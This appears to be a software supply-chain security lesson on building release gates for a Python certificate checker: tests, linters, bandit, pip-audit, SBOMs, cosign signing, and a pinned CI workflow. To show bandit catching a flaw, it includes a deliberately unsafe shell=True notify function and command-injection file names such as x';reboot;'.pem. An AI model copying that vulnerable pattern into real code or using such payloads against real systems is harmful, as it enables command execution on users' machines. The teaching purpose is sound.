Release gates: tests, analysis, SBOM, signing and verification

What coverage, types, linters, audits, SBOMs and signatures each prove and do not.

A release gate is a check that can stop a release, and each one proves something narrow. This lesson builds the gates for certcheck, the tool from the previous lesson: tests with a branch-coverage floor, ruff, mypy and bandit in one script that stops at the first failure, pip-audit on the lock that ships, a Syft SBOM of the built image, cosign v3 signatures on the wheel and the image digest with a verify step that refuses a tag, and a CI workflow whose actions are pinned by commit SHA and whose tools are checked by checksum. Build provenance and PyPI attestations are covered from their documentation.

Refresher: py-sec "Testing your automation with pytest" owns fixtures, tmp_path, capsys and monkeypatch; py-sec "Packaging, pinning and auditing your tool" showed a pip-audit finding on a throwaway lock; py-sec "Running commands safely" explains why shell=True with data is injection; "Testing shell automation" earlier in this course validated a workflow with actionlint. Unpack the lesson files in your home directory; scr-supply-chain/ holds the project, its tests and the scripts below. Commands run in ~/scr-supply-chain, with uv 0.12.19 installed into bin/ exactly as in the previous lesson.

What each gate proves, and what it does not

A green gate is evidence about one property. Together they do not prove the tool is safe; they make specific failures hard to ship.

Gates that read the code

The gate tools are pinned in pyproject.toml as a dev dependency group and locked with hashes in uv.lock, so a ruff release with new rules cannot turn a gate red overnight and a gate tool cannot be swapped on the index.

[build-system]
requires = ["hatchling==1.32.4"]
build-backend = "hatchling.build"
 
[project]
name = "certcheck"
version = "0.1.0"
description = "Report how many days each PEM certificate has left"
requires-python = ">=3.14"
dependencies = ["cryptography>=50"]
 
[project.scripts]
certcheck = "certcheck.cli:main"
 
# The gate tools, pinned here and locked with hashes in uv.lock like any other dependency.
[dependency-groups]
dev = [
    "bandit==1.9.4",
    "mypy==2.3.1",
    "pip-audit==2.10.1",
    "pytest==9.1.1",
    "pytest-cov==7.1.0",
    "ruff==0.16.9",
]
 
[tool.hatch.build.targets.sdist]
include = ["/src"]
 
[tool.coverage.run]
branch = true
source = ["certcheck"]
 
[tool.coverage.report]
fail_under = 95
show_missing = true
 
[tool.mypy]
strict = true
files = ["src"]

[tool.coverage] turns on branch coverage (did both sides of each if run, not only each line) and sets the floor at 95 percent; [tool.mypy] runs strict mode over src. The eight tests call cli.main() on certificates generated in tmp_path, including missing and non-certificate files, and cover the python -m certcheck entry point and the --syslog option, which hands each expiring certificate to notify():

"""Send one line to the local syslog through logger(1)."""
import subprocess
 
 
def notify(message: str) -> None:
    # An argument list and no shell: a file name such as "a;reboot.pem" stays one argument.
    subprocess.run(["logger", "-t", "certcheck", "--", message], check=True, timeout=10)

The gate script runs each check in order, cheapest first, and stops at the first one that fails, with that check's exit status. It deletes dist/ before the first gate, so a failed run leaves no new artifact and no wheel from an earlier green run next to it.

#!/usr/bin/env bash
# Release gates for certcheck, cheapest first. The first gate that fails stops the run with that
# gate's exit status, so nothing later (the build, the signature) happens on a tree that failed.
set -euo pipefail
cd "$(dirname "$0")"
rm -rf dist  # a wheel from an earlier green run must not sit next to a red one
 
gate() {
  local name=$1
  shift
  printf '== gate: %s\n' "$name"
  "$@" || {
    local status=$?
    printf 'FAILED gate: %s (exit %s)\n' "$name" "$status" >&2
    exit "$status"
  }
}
 
gate "lock matches pyproject.toml" ./bin/uv lock --check -q
gate "lint: ruff" .venv/bin/ruff check -q src tests
gate "types: mypy --strict" .venv/bin/mypy
gate "security lint: bandit" .venv/bin/bandit -q -r src --severity-level medium
gate "tests with branch coverage" .venv/bin/pytest -q --cov
./bin/uv export -q --no-dev --no-emit-project -o requirements.txt
gate "known advisories: pip-audit" .venv/bin/pip-audit --disable-pip -r requirements.txt
gate "build the wheel" ./bin/uv build -q --wheel
printf 'all gates passed: %s\n' dist/*.whl

Every gate passed: the lock matches, ruff and bandit (at medium severity and above) found nothing, mypy found no issues in the four source files, and the tests covered every line and both sides of every branch (Branch counts the branches, BrPart the ones taken only one way). pip-audit read the runtime lock exported without the dev group, because what ships is certcheck and its three dependencies, not the gate tools. To see the coverage floor bite, leave out the three tests with unreadable in their names:

Every selected test passed, yet pytest exited 1: the Missing column names lines 31 to 34 of cli.py, the except block for an unreadable file, and the total fell below the floor. Coverage measures execution, not checking: a test that calls main() and asserts nothing covers the same lines. Use the floor to find untested code, and review the asserts to trust the tests.

Now a teammate's change. This version of notify.py builds a shell command with an f-string:

"""Send one line to the local syslog through logger(1). UNSAFE: the shell parses the message."""
import subprocess
 
 
def notify(message: str) -> None:
    subprocess.run(f"logger -t certcheck '{message}'", shell=True, check=True, timeout=10)

A certificate file named x';reboot;'.pem would close the quote and run a second command. Swap it in and run the gates:

The lock check, ruff and mypy passed. bandit reported B602, subprocess with shell=True, at high severity (the one low-severity issue in its totals is hidden by the threshold), and the script stopped there with bandit's exit status 1. The tests and the build never ran, and dist/ is gone. The fix is the argument list in the safe notify.py, which bandit still mentions below the gate's threshold:

Three low-severity notes: importing subprocess, starting a process without a shell (a reminder to check the inputs), and calling logger by name rather than by full path. They are review prompts, not defects, which is why the gate uses --severity-level medium. Silence one with # nosec B607 plus a reason only after reviewing it. With the safe file back, run the gates again so dist/ holds a wheel for the next sections:

The pip-audit gate needs no demonstration of its own: "Packaging, pinning and auditing your tool" in py-sec showed what a finding on a throwaway lock looks like. Three rules are specific to a release gate. The floor cryptography>=50 in pyproject.toml is there because 49.0.0 carries PYSEC-2026-3552 (also GHSA-g6cj-pr64-35w5 and CVE-2026-69247), a padding-oracle weakness in PKCS#7 decryption fixed in 50.0.0, and the floor keeps any future lock from resolving back to it. certcheck never decrypts PKCS#7, so the flaw is not reachable here, but the gate cannot know that, and reachability is no reason to ship a known advisory silently: raise the version, or accept the finding with --ignore-vuln and the reason in the commit. And run the audit on every lock change and on a schedule, since advisories appear for versions you locked long ago.

An SBOM of the image you ship

An SBOM (software bill of materials) is a machine-readable inventory of what an artifact contains. Generate it from the artifact you ship, not from your development venv. The image is the one from the previous lesson (same Containerfile, podman 5.7.0 from the archive, rootless). If you skipped that lesson, run sudo apt install podman first; either way, put its containers.conf in place. Syft is not in the Ubuntu archive, so install one pinned release like uv, then save the image as an OCI archive that Syft reads without a daemon:

The podman warning is the harmless D-Bus one from the previous lesson. The CycloneDX file lists every component Syft found, by package type: 87 Debian packages from the python:3.14-slim base, one generic component (the Python interpreter, built from source by the base image) and five Python packages: certcheck, its three locked dependencies and the base image's pip, which a scan of the lock would never show. When the next advisory is published, you search the stored SBOMs for the releases that contain the affected version.

An SBOM is not a scan: it lists versions and judges none of them. pip-audit judged the Python part above; nothing has yet looked at the 87 Debian packages that make up most of the image, so run a scanner such as Grype or Trivy over the SBOM as a gate or a scheduled job. An SBOM is not proof of origin either, since anyone can write one; below it gets signed and bound to the image digest. And it is only as complete as the metadata it reads:

Pointed at the wheel file or the source tree, Syft found nothing: it reads OS package databases, installed-package metadata and lock files, and neither has them. Scan the artifact as it ships.

Sign the artifact, verify before use

A signature binds an exact digest to a signer. Install the pinned cosign v3 release (Ubuntu ships the older 2.6 line). A local key pair keeps the lab offline; COSIGN_PASSWORD supplies its password without a prompt (a lab placeholder; in CI it comes from the secret store):

cosign v3 reads a signing config that lists the services to use: a certificate authority, a transparency log and a timestamp authority. By default it downloads the public Sigstore one and uploads every signature to Rekor, the public transparency log. This lab has to work offline, so it uses a signing config with no log and no timestamp authority, the replacement for the deprecated --tlog-upload=false flag. That is a lab constraint, not a setup to copy:

{
  "mediaType": "application/vnd.dev.sigstore.signingconfig.v0.2+json",
  "rekorTlogUrls": [],
  "tsaUrls": []
}

--bundle is required in v3: the bundle holds the signature, the digest it covers and the verification material, here only a hint naming the public key. The digest in the bundle, decoded from base64, is the sha256sum of the wheel: the signature covers those bytes. The bundle has no transparency-log entry and no timestamp, and verification says so:

With --insecure-ignore-tlog=true the signature verifies, with a warning. Without it, cosign's default policy refuses a bundle that is not in a transparency log. That default is the point of the log: every signature is publicly recorded with a time, so a stolen key or a signature made outside your pipeline can be noticed. One appended byte in the wheel changes its digest, and verification fails.

Keyless signing with the default signing config is the setup to use in a release pipeline. In CI, cosign exchanges the job's OIDC token for a short-lived certificate from Fulcio that names the workflow, signs, and records the signature in Rekor, so there is no long-lived key to steal. The verifier then pins who signed, not only that someone did: --certificate-identity https://github.com/acme/certcheck/.github/workflows/release.yml@refs/tags/v0.1.0 and --certificate-oidc-issuer https://token.actions.githubusercontent.com. A loose --certificate-identity-regexp such as https://github.com/acme/.* accepts any workflow in the organisation (Go regular expressions match anywhere unless anchored), including one in a repository an attacker controls. Keyless signing, Fulcio and Rekor have their own lessons in the "Software supply chain security" course ("Sigstore: Cosign, Fulcio & Rekor") and in "Software supply chain in depth" ("Fulcio & keyless signing", "Rekor transparency log").

Images follow the same rule, applied to the digest. A tag can be pushed again at any time, so the deploy side accepts only a digest reference and verifies the signature on that digest. The two flags this lab needs are kept apart in lab_only, with the production form in the comment above them:

#!/usr/bin/env bash
# Deploy-side policy: run an image only by digest, and only if the expected signer signed that digest.
set -euo pipefail
ref=${1:?usage: verify-image.sh REGISTRY/NAME@sha256:DIGEST}
 
if [[ $ref != *@sha256:* ]]; then
  printf 'refused: %s is not pinned by digest (a tag can be moved after it was verified)\n' "$ref" >&2
  exit 1
fi
# LAB ONLY: this lab's registry speaks plain HTTP, and its signatures were made with a local key and
# no transparency log. In production drop both flags and pin the signer, for a keyless signature:
#   cosign verify --certificate-identity "$RELEASE_WORKFLOW_REF" \
#     --certificate-oidc-issuer https://token.actions.githubusercontent.com "$ref"
lab_only=(--insecure-ignore-tlog=true --allow-http-registry)
./bin/cosign verify --key cosign.pub "${lab_only[@]}" "$ref" >/dev/null || {
  printf 'refused: no valid signature from our key on %s\n' "$ref" >&2
  exit 1
}
printf 'verified: %s\n' "$ref"

The image was pushed to a local registry (registry:3, pinned by digest) and signed by its digest. The digest reference verified; cosign's list of checks still names the transparency log, and the warning above it says nothing was checked there. The tag reference was refused before any network call. Then an unreviewed build (its image ID is the first line) was pushed to the same tag 0.1.0: the tag now names a different digest with no signature from our key, so it was refused too. A deploy that trusted the tag would have run it.

A key signature says only "our key signed this digest", so every image the key ever signed passes, test builds included. Sign releases with an annotation such as -a env=prod and require it with cosign verify -a env=prod. Keep the key in a KMS (--key awskms://..., gcpkms://, hashivault://), never in the repository, and after a leak rotate it and re-sign what must stay trusted. The SBOM gets the same treatment: cosign attest signs a statement whose subject is the image digest and whose predicate is the SBOM, and stores it next to the image:

The verified statement names the pushed digest and carries the SBOM's 93 packages. An SBOM file replaced later, or attached to a different image, no longer verifies against our key.

Provenance, attestations and the workflow

Not executed in this lab (it needs GitHub and PyPI): the SBOM attestation above is one kind of in-toto statement. Build provenance is another, the SLSA predicate that records which repository, commit and workflow produced the artifact. GitHub's actions/attest creates and signs it keyless in the workflow, and gh attestation verify certcheck-0.1.0-py3-none-any.whl --repo acme/certcheck checks it later. On PyPI, trusted publishing replaces API tokens: PyPI trusts a named workflow's OIDC token and issues a 15-minute upload token, and pypa/gh-action-pypi-publish then uploads PEP 740 attestations by default. Both need permissions: id-token: write, and only on the job that needs it.

The workflow runs the same gates.sh on every pull request, then attests the wheel on release tags in a separate job. Every action is pinned to a full commit SHA with its tag in a comment, Python to a patch release, and every downloaded tool is checked against tools.sha256 before it runs. The checkout does not keep its token, and only the attest job may request an OIDC token. Both jobs run on ubuntu-26.04, which actionlint 1.7.12 does not know yet, so the repository declares the label in .github/actionlint.yaml exactly as "Testing shell automation" did, and every actionlint call names that file:

name: release
on:
  pull_request:
  push:
    tags: ["v*"]
permissions:
  contents: read
jobs:
  gates:
    runs-on: ubuntu-26.04
    steps:
      # Every action is pinned to a full commit SHA; the comment names the upstream tag it came from,
      # and check-pins.sh below proves the two still match.
      - name: Check out the code
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - name: Set up Python
        uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7.0.0
        with:
          python-version: "3.14.7"
      - name: Install pinned tools (each download checked against tools.sha256 before use)
        run: |
          set -euo pipefail
          base=https://github.com
          curl -fsSLO "$base/astral-sh/uv/releases/download/0.12.19/uv-x86_64-unknown-linux-gnu.tar.gz"
          curl -fsSLO "$base/rhysd/actionlint/releases/download/v1.7.12/actionlint_1.7.12_linux_amd64.tar.gz"
          curl -fsSLO "$base/koalaman/shellcheck/releases/download/v0.11.0/shellcheck-v0.11.0.linux.x86_64.tar.xz"
          sha256sum -c tools.sha256
          mkdir -p bin
          tar -xzf uv-x86_64-unknown-linux-gnu.tar.gz -C bin --strip-components=1
          tar -xzf actionlint_1.7.12_linux_amd64.tar.gz -C bin actionlint
          tar -xJf shellcheck-v0.11.0.linux.x86_64.tar.xz -C bin --strip-components=1 shellcheck-v0.11.0/shellcheck
      - name: Lint this workflow and check its pins
        run: |
          ./bin/actionlint -config-file .github/actionlint.yaml -shellcheck ./bin/shellcheck
          ./check-pins.sh .github/workflows/release.yml
      - name: Install the project and the gate tools from the lock
        run: ./bin/uv sync --locked
      - name: Release gates
        run: ./gates.sh
      - name: Keep the wheel for the next job
        uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
        with:
          name: wheel
          path: dist/*.whl
  attest:
    # Only release tags get provenance, and only this job may request an OIDC token.
    if: startsWith(github.ref, 'refs/tags/v')
    needs: gates
    runs-on: ubuntu-26.04
    permissions:
      contents: read
      id-token: write
      attestations: write
    steps:
      - name: Fetch the wheel the gates passed
        uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
        with:
          name: wheel
          path: dist
      - name: Attest build provenance (keyless, Sigstore)
        uses: actions/attest@1e69f48acb82d1966a394da916b4c1698aa569d6 # v4.2.2
        with:
          subject-path: dist/*.whl

23bf5552d220e0842b65c862097b2ebaeba0064b74eda5e565e77fd25969d8c8  uv-x86_64-unknown-linux-gnu.tar.gz
8aca8db96f1b94770f1b0d72b6dddcb1ebb8123cb3712530b08cc387b349a3d8  actionlint_1.7.12_linux_amd64.tar.gz
8c3be12b05d5c177a04c29e3c78ce89ac86f1595681cab149b65b97c4e227198  shellcheck-v0.11.0.linux.x86_64.tar.xz

A SHA pin proves the code cannot change. It does not prove the commit is the release the comment names, because GitHub serves a commit from any fork under the upstream repository's name. check-pins.sh asks upstream which commit each tag points to:

#!/usr/bin/env bash
# Check every `uses:` in a workflow: pinned to a full commit SHA, and that SHA is the commit the
# upstream tag named in the comment points to. GitHub serves a commit from any fork of a repository
# under the upstream name, so a 40-character SHA alone does not prove it is upstream's release.
set -euo pipefail
workflow=${1:?usage: check-pins.sh WORKFLOW}
status=0
while read -r action ref tag; do
  repo=$(cut -d/ -f1-2 <<<"$action")  # owner/repo, also for owner/repo/path actions
  if [[ ! $ref =~ ^[0-9a-f]{40}$ || -z $tag ]]; then
    printf 'NOT PINNED  %s@%s\n' "$action" "$ref"
    status=1
    continue
  fi
  # An annotated tag lists two lines, the tag object and "^{}" with its commit; the last line is the commit.
  upstream=$(git ls-remote "https://github.com/$repo" "refs/tags/$tag" "refs/tags/$tag^{}" | awk 'END { print $1 }')
  if [[ $upstream == "$ref" ]]; then
    printf 'ok          %s %s\n' "$action" "$tag"
  else
    printf 'MISMATCH    %s %s: pinned %s, upstream tag is %s\n' "$action" "$tag" "${ref:0:12}" "${upstream:0:12}"
    status=1
  fi
done < <(sed -nE 's/^[[:space:]]*(- )?uses:[[:space:]]*([^@[:space:]]+)@([^[:space:]]+)([[:space:]]+#[[:space:]]*(v[^[:space:]]+))?.*$/\2 \3 \5/p' "$workflow")
exit "$status"

actionlint 1.7.12 checked the syntax, permission names, expressions and run: scripts (through ShellCheck) and found nothing. It does not check pinning: actions/checkout@v7, a tag its owner can move, still passed, and check-pins.sh caught it. The swapped file pins a real actions/checkout commit, v6.0.3's, under a v7.0.1 comment; a format check accepts that, the tag lookup does not. The last step matched the three x86-64 downloads the workflow uses against tools.sha256, as CI does before running them. Two gaps remain: a pinned action can still pull moving code (a composite action that uses another action by tag, a Docker action on :latest), and pins go stale: let Dependabot or Renovate propose updates.

Try this

Break a test on purpose with sed -i 's/400 days left/401 days left/' tests/test_cli.py and run ./gates.sh: it should stop at tests with branch coverage with exit status 1, and dist/ should not exist, although it held a wheel before the run. Restore the test. Then extend gates.sh with two final gates: cosign sign-blob with the offline signing config and --bundle dist/certcheck-0.1.0-py3-none-any.whl.sigstore.json, and cosign verify-blob of the same file, with COSIGN_PASSWORD taken from the environment. The verified run ends with Verified OK and all gates passed: dist/certcheck-0.1.0-py3-none-any.whl.

When you are done, stop the registry and remove the images and the podman config; sudo apt purge podman removes podman itself if you installed it for these lessons:

Takeaway

Run the gates as one script, cheapest first, that stops at the first failure, and read each green result as the narrow claim it is. Sign digests rather than tags, verify the signature and the signer's identity at deploy time, and treat an offline or key-based signature as weaker than a keyless one recorded in a transparency log.

Related